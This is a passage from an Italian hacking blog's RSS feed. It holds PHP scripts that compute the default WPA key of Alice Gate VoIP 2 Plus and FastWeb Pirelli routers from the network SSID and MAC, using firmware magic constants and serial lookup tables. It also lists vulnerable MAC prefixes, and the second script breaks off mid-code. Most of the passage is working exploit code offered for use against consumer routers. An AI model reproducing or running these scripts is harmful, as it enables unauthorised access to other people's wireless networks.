&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #0000ff;">'56'</span> <span style="color: #339933;">=&gt;</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'67902'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">13</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">54808800</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #0000ff;">'55'</span> <span style="color: #339933;">=&gt;</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'67904'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">8</span><span style="color: #339933;">,</span> &nbsp;<span style="color: #cc66cc;">55164449</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #0000ff;">'54'</span> <span style="color: #339933;">=&gt;</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'67903'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">8</span><span style="color: #339933;">,</span> &nbsp;<span style="color: #cc66cc;">52420689</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #0000ff;">'48'</span> <span style="color: #339933;">=&gt;</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'67903'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">8</span><span style="color: #339933;">,</span> &nbsp;<span style="color: #cc66cc;">47896103</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #0000ff;">'46'</span> <span style="color: #339933;">=&gt;</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'67902'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">13</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">39015145</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">/*<br />
&nbsp;* Numeri magici da utilizzare per il calcolo dell'SHA256.<br />
&nbsp;*/</span><br />
<span style="color: #000088;">$ALIS</span> &nbsp; &nbsp; &nbsp; <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\x64</span><span style="color: #660099; font-weight: bold;">\xC6</span><span style="color: #660099; font-weight: bold;">\xDD</span><span style="color: #660099; font-weight: bold;">\xE3</span><span style="color: #660099; font-weight: bold;">\xE5</span><span style="color: #660099; font-weight: bold;">\x79</span><span style="color: #660099; font-weight: bold;">\xB6</span><span style="color: #660099; font-weight: bold;">\xD9</span><span style="color: #660099; font-weight: bold;">\x86</span><span style="color: #660099; font-weight: bold;">\x96</span><span style="color: #660099; font-weight: bold;">\x8D</span><span style="color: #660099; font-weight: bold;">\x34</span><span style="color: #660099; font-weight: bold;">\x45</span><span style="color: #660099; font-weight: bold;">\xD2</span><span style="color: #660099; font-weight: bold;">\x3B</span><span style="color: #660099; font-weight: bold;">\x15</span><span style="color: #660099; font-weight: bold;">\xCA</span><span style="color: #660099; font-weight: bold;">\xAF</span><span style="color: #660099; font-weight: bold;">\x12</span><span style="color: #660099; font-weight: bold;">\x84</span><span style="color: #660099; font-weight: bold;">\x02</span><span style="color: #660099; font-weight: bold;">\xAC</span><span style="color: #660099; font-weight: bold;">\x56</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x05</span><span style="color: #660099; font-weight: bold;">\xCE</span><span style="color: #660099; font-weight: bold;">\x20</span><span style="color: #660099; font-weight: bold;">\x75</span><span style="color: #660099; font-weight: bold;">\x91</span><span style="color: #660099; font-weight: bold;">\x3F</span><span style="color: #660099; font-weight: bold;">\xDC</span><span style="color: #660099; font-weight: bold;">\xE8</span>&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">/*<br />
&nbsp;* Tabella di conversione da hash a wpa.<br />
&nbsp;*/</span><br />
<span style="color: #000088;">$CONV_TABLE</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuv&quot;</span><span style="color: #339933;">.</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">&quot;wxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">/* <br />
&nbsp;* SSID della rete.<br />
&nbsp;*/</span><br />
<span style="color: #000088;">$SSID</span> &nbsp; &nbsp; &nbsp; <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;Alice-96154825&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">/*<br />
&nbsp;* MAC address del router.<br />
&nbsp;*/</span><br />
<span style="color: #000088;">$MAC</span> &nbsp;&nbsp; &nbsp; &nbsp; <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x23</span><span style="color: #660099; font-weight: bold;">\x8E</span><span style="color: #660099; font-weight: bold;">\x01</span><span style="color: #660099; font-weight: bold;">\x02</span><span style="color: #660099; font-weight: bold;">\x03</span>&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">/*<br />
&nbsp;* Calcolo il seriale in base al SSID e alla tabella dei valori noti.<br />
&nbsp;*/</span><br />
<span style="color: #000088;">$SN</span> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #339933;">=</span> SSID2SN<span style="color: #009900;">&#40;</span><span style="color: #000088;">$SSID</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">/*<br />
&nbsp;* Calcolo SHA256( MagicN + SN + MAC )<br />
&nbsp;*/</span><br />
<span style="color: #000088;">$hash</span> &nbsp; &nbsp; &nbsp; <span style="color: #339933;">=</span> SHA256<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$ALIS</span><span style="color: #339933;">.</span><span style="color: #000088;">$SN</span><span style="color: #339933;">.</span><span style="color: #000088;">$MAC</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">/*<br />
&nbsp;* Converto la stringa dell'hash in un array di byte.<br />
&nbsp;*/</span><br />
<span style="color: #000088;">$bytes</span> &nbsp;&nbsp; &nbsp; <span style="color: #339933;">=</span> hash2bytes<span style="color: #009900;">&#40;</span><span style="color: #000088;">$hash</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">/*<br />
&nbsp;* Trovo la WPA utilizzando i primi 24 byte dell'hash come indici della tabella di covnersione.<br />
&nbsp;*/</span><br />
<span style="color: #000088;">$wpa</span> &nbsp; <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">&lt;</span> <span style="color: #cc66cc;">24</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$wpa</span> <span style="color: #339933;">.=</span> <span style="color: #000088;">$CONV_TABLE</span><span style="color: #009900;">&#91;</span> <span style="color: #000088;">$bytes</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span> <span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;WPA : <span style="color: #006699; font-weight: bold;">$wpa</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #666666; font-style: italic;">/*<br />
&nbsp;* Funzione per risalire al seriale del router partendo dal suo SSID e utilizzando<br />
&nbsp;* le tabelle dei valori noti.<br />
&nbsp;*/</span><br />
<span style="color: #000000; font-weight: bold;">function</span> SSID2SN<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$ssid</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$SN_TABLE</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">/*<br />
&nbsp; &nbsp; &nbsp;* Prelevo il numero intero dall'SSID e ne prendo le prime due cifre<br />
&nbsp; &nbsp; &nbsp;* per verificare che il router sia presente nella tabella.<br />
&nbsp; &nbsp; &nbsp;*/</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span style="color: #990000;">preg_match_all</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;/^Alice\-([0-9]+)/&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$ssid</span><span style="color: #339933;">,</span> <span style="color: #000088;">$m</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$ssidn</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$m</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$id</span> &nbsp; &nbsp;<span style="color: #339933;">=</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$ssidn</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">2</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$SN_TABLE</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$id</span><span style="color: #009900;">&#93;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">/*<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;* Ok, il router è presente nella tabella, prelevo la prima parte del seriale e<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;* le costanti k e Q da utilizzare nell'equazione finale.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*/</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$sn1</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$SN_TABLE</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$id</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$k</span> &nbsp; <span style="color: #339933;">=</span> <span style="color: #000088;">$SN_TABLE</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$id</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$Q</span> &nbsp; <span style="color: #339933;">=</span> <span style="color: #000088;">$SN_TABLE</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$id</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">/*<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;* La seconda parte del seriale equivale a :<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;* &nbsp;&nbsp; &nbsp; (SSID - Q) / k<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*/</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$sn2</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>int<span style="color: #009900;">&#41;</span><span style="color: #000088;">$ssidn</span> <span style="color: #339933;">-</span> <span style="color: #000088;">$Q</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">/</span> <span style="color: #000088;">$k</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">/*<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;* Restituisco il seriale completo.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*/</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$sn1</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'X'</span><span style="color: #339933;">.</span><a href="http://www.php.net/sprintf"><span style="color: #990000;">sprintf</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;<span style="color: #009933; font-weight: bold;">%07s</span>&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$sn2</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">/*<br />
&nbsp; &nbsp; &nbsp;* Router non presente nella tabella.<br />
&nbsp; &nbsp; &nbsp;*/</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/die"><span style="color: #990000;">die</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;La serie 'Alice-<span style="color: #006699; font-weight: bold;">$id</span>******' non è presente nella tabella e non è supportata.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #666666; font-style: italic;">/*<br />
&nbsp;* Funzione per il calcolo di un hash SHA256.<br />
&nbsp;*/</span><br />
<span style="color: #000000; font-weight: bold;">function</span> SHA256<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$phrase</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <a href="http://www.php.net/bin2hex"><span style="color: #990000;">bin2hex</span></a><span style="color: #009900;">&#40;</span> <a href="http://www.php.net/mhash"><span style="color: #990000;">mhash</span></a><span style="color: #009900;">&#40;</span> MHASH_SHA256<span style="color: #339933;">,</span> <span style="color: #000088;">$phrase</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #666666; font-style: italic;">/*<br />
&nbsp;* Funzione per convertire un hash in un array di byte interi.<br />
&nbsp;*/</span><br />
<span style="color: #000000; font-weight: bold;">function</span> hash2bytes<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$hash</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span style="color: #990000;">preg_match_all</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;/[a-f0-9]{2}/i&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$hash</span><span style="color: #339933;">,</span> <span style="color: #000088;">$hash_bytes</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$bytes</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$hash_bytes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$byte</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$bytes</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/hexdec"><span style="color: #990000;">hexdec</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$byte</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$bytes</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=1173">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=1173&type=feed" alt="" />

<p>Related posts:<ol><li><a href='http://www.evilsocket.net/1126/script-per-il-calcolo-della-chiave-wpa-nei-router-fastweb-pirelli.html' rel='bookmark' title='Permanent Link: Script per il calcolo della chiave WPA dei router FastWeb Pirelli.'>Script per il calcolo della chiave WPA dei router FastWeb Pirelli.</a></li>
<li><a href='http://www.evilsocket.net/96/alice-router-unlocker.html' rel='bookmark' title='Permanent Link: Alice Router Unlocker'>Alice Router Unlocker</a></li>
<li><a href='http://www.evilsocket.net/1375/informazione-di-servizio-chiave-pubblica.html' rel='bookmark' title='Permanent Link: Informazione di Servizio, Chiave Pubblica'>Informazione di Servizio, Chiave Pubblica</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/1173/script-per-il-calcolo-della-chiave-wpa-dei-router-alice-gate-voip-2-plus-wi-fi.html/feed</wfw:commentRss>
		<slash:comments>37</slash:comments>
		</item>
		<item>
		<title>Script per il calcolo della chiave WPA dei router FastWeb Pirelli.</title>
		<link>http://www.evilsocket.net/1126/script-per-il-calcolo-della-chiave-wpa-nei-router-fastweb-pirelli.html</link>
		<comments>http://www.evilsocket.net/1126/script-per-il-calcolo-della-chiave-wpa-nei-router-fastweb-pirelli.html#comments</comments>
		<pubDate>Sat, 05 Jun 2010 05:18:13 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Exploiting]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Sorgenti]]></category>
		<category><![CDATA[Wardriving]]></category>
		<category><![CDATA[chiave]]></category>
		<category><![CDATA[fastweb]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[key]]></category>
		<category><![CDATA[pirelli]]></category>
		<category><![CDATA[ssid]]></category>
		<category><![CDATA[telsey]]></category>
		<category><![CDATA[warcracking]]></category>
		<category><![CDATA[wifi]]></category>
		<category><![CDATA[win32]]></category>
		<category><![CDATA[wpa]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=1126</guid>
		<description><![CDATA[Oggi mi sono inbattuto per caso in questo servizio, ovvero un servizio per &#8220;recuperare&#8221; la chiave WPA di un router Fastweb Pirelli. &#8220;Bene&#8221; mi sono detto, &#8220;Se hanno questo servizio, avranno anche una pagina dove spiegano l&#8217;algoritmo e pubblicano il codice&#8221; . Beh, la pagina c&#8217;era, e non era nemmeno un loro lavoro bensì quello [...]


Related posts:<ol><li><a href='http://www.evilsocket.net/1173/script-per-il-calcolo-della-chiave-wpa-dei-router-alice-gate-voip-2-plus-wi-fi.html' rel='bookmark' title='Permanent Link: Script per il calcolo della chiave WPA dei router Alice Gate VoIP 2 Plus Wi-Fi'>Script per il calcolo della chiave WPA dei router Alice Gate VoIP 2 Plus Wi-Fi</a></li>
<li><a href='http://www.evilsocket.net/96/alice-router-unlocker.html' rel='bookmark' title='Permanent Link: Alice Router Unlocker'>Alice Router Unlocker</a></li>
<li><a href='http://www.evilsocket.net/1375/informazione-di-servizio-chiave-pubblica.html' rel='bookmark' title='Permanent Link: Informazione di Servizio, Chiave Pubblica'>Informazione di Servizio, Chiave Pubblica</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Oggi mi sono inbattuto per caso in <a href="http://www.oversecurity.net/wpa-recovery/" target="_blank">questo servizio</a>, ovvero un servizio per &#8220;recuperare&#8221; la chiave WPA di un router Fastweb Pirelli.</p>
<p>&#8220;Bene&#8221; mi sono detto, &#8220;Se hanno questo servizio, avranno anche una pagina dove spiegano l&#8217;algoritmo e pubblicano il codice&#8221; .</p>
<p>Beh, la <a href="http://www.oversecurity.net/2010/03/29/recupero-chiave-wpa-fastweb-dettagli-tecnici/" target="_blank">pagina</a> c&#8217;era, e non era nemmeno un loro lavoro bensì quello di un altro gruppo (vedere il link &#8220;fonte&#8221; alla fine di quell&#8217;articolo), ma non c&#8217;era il sorgente!</p>
<p>In pratica, queste persone, hanno preso il lavoro che altri hanno pubblicato <strong>liberamente e per tutti</strong>, lo hanno ri-pubblicato (citando la fonte eh, per carità), ne hanno ricavato un servizio (guarda caso un servizio che fa gola a molti su un sito con degli ads pubblicitari) ma non hanno condiviso a loro volta le conoscenze distribuendo il codice del servizio &#8230; un po disonesto non vi pare?</p>
<p>Cioè, se io prendo un informazione libera, sono moralmente tenuto a rendere altrettanto libera qualsiasi opera io ne possa ricavare &#8230; non legalmente, ma moralmente.</p>
<p>Ebbene, ci penso io con un mio script fresco fresco <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p><span id="more-1126"></span></p>
<p>Vi posto qui di seguito il codice di uno script PHP che, seguendo quell&#8217;algoritmo, parte dal SSID di un router e stampa la chiave WPA di default.</p>
<p>Ribadisco, come loro, che :</p>
<p>Attualmente è possibile recuperare la chiave Wireless degli Access Point <strong>FastWeb Pirelli</strong>, nello specifico con i seguenti Mac Address:</p>
<blockquote><p><em>00:08:27 Pirelli Broadband Solutions<br />
00:13:C8 </em><em>Pirelli Broadband Solutions</em><br />
<em>00:17:C2 Pirelli Broadband Solutions<br />
00:19:3E P</em><em>irelli Broadband Solutions</em><br />
<em>00:1C:A2 </em><em>Pirelli Broadband Solutions</em><br />
<em>00:1D:8B </em><em>Pirelli Broadband Solutions</em><br />
<em>00:22:33 Pirelli Broadband Solutions<br />
00:23:8E </em><em>Pirelli Broadband Solutions</em><br />
<em>00:25:53 </em><em>Pirelli Broadband Solutions</em><br />
<em>00:03:6F </em><em>Telsey S.p.A.</em><em> </em><em>(in fase di Test)<br />
00:21:96 Telsey S.p.A.</em><em> (in fase di Test)</em></p></blockquote>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:100%;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span><br />
<span style="color: #666666; font-style: italic;">/***************************************************************************<br />
&nbsp;* &nbsp; FastWeb Pirelli WPA Discovery &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *<br />
&nbsp;* &nbsp; by evilsocket - evilsocket@gmail.com - http://www.evilsocket.net &nbsp; &nbsp; &nbsp;*<br />
&nbsp;* &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *<br />
&nbsp;* &nbsp; This program is free software; you can redistribute it and/or modify &nbsp;*<br />
&nbsp;* &nbsp; it under the terms of the GNU General Public License as published by &nbsp;*<br />
&nbsp;* &nbsp; the Free Software Foundation; either version 2 of the License, or &nbsp; &nbsp; *<br />
&nbsp;* &nbsp; (at your option) any later version. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *<br />
&nbsp;* &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *<br />
&nbsp;* &nbsp; This program is distributed in the hope that it will be useful, &nbsp; &nbsp; &nbsp; *<br />
&nbsp;* &nbsp; but WITHOUT ANY WARRANTY; without even the implied warranty of &nbsp; &nbsp; &nbsp; &nbsp;*<br />
&nbsp;* &nbsp; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. &nbsp;See the &nbsp; &nbsp; &nbsp; &nbsp; *<br />
&nbsp;* &nbsp; GNU General Public License for more details. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*<br />
&nbsp;* &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *<br />
&nbsp;* &nbsp; You should have received a copy of the GNU General Public License &nbsp; &nbsp; *<br />
&nbsp;* &nbsp; along with this program; if not, write to the &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *<br />
&nbsp;* &nbsp; Free Software Foundation, Inc., &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *<br />
&nbsp;* &nbsp; 59 Temple Place - Suite 330, Boston, MA &nbsp;02111-1307, USA. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *<br />
&nbsp;***************************************************************************/</span><br />
<br />
<span style="color: #666666; font-style: italic;">/*<br />
&nbsp;* SSID di partenza.<br />
&nbsp;*/</span><br />
<span style="color: #000088;">$ssid</span> &nbsp; <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;FASTWEB-1-00193EA1B2C3&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">/*<br />
&nbsp;* 20 byte costanti cablati nel firmware dei Pirelli Fastweb.<br />
&nbsp;*/</span><br />
